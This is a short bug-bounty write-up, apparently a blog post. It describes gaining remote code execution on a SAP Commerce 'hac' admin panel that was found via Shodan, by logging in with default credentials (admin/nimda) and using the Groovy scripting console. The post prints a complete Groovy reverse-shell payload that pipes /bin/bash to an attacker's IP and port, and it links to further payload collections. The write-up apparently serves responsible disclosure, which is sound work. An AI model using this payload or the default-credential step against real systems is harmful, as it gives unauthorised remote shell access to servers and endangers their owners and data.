2 min readAug 10, 2023

How I got Two RCE at BBP Program @0xbartita

Hi all.. 0xbartita

I like to get into the write up directly without any bla bla bla bla.

When I was hunting on BBP bounty program I went to shodan and searched for “ssl:BBP.com” and I got this ip 40.117.**.*** & Used dirsearch directly I found http://40.117.**.***/hac/login/

hac login page

“The hac extension is the default administration web application of SAP Commerce”.

I googled for the default credential and I got it from here:


Username: admin

Password: nimda

And it’s worked i got into the admin panel.

I took a tour on the panel and I found a console Tab ==> http://40.117.**.***/hac/console/scripting/

Console Tab

As you can see script option is groovy scripting language you can know more about groovy https://en.wikipedia.org/wiki/Apache_Groovy

Then I used this code to get remote code execution

String host=”Your Ip Here”;

int port=Your Port;

String cmd=”/bin/bash”;

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();


After I got RCE I went to shodan again and searched for more ips & I found the same hac application and reported it to the target program

You can find more payloads here https://coldfusionx.github.io/posts/Groovy_RCE/

More groovy payloads → https://coldfusionx.github.io/posts/Groovy_RCE/

Twitter → https://twitter.com/0xBaRtiTa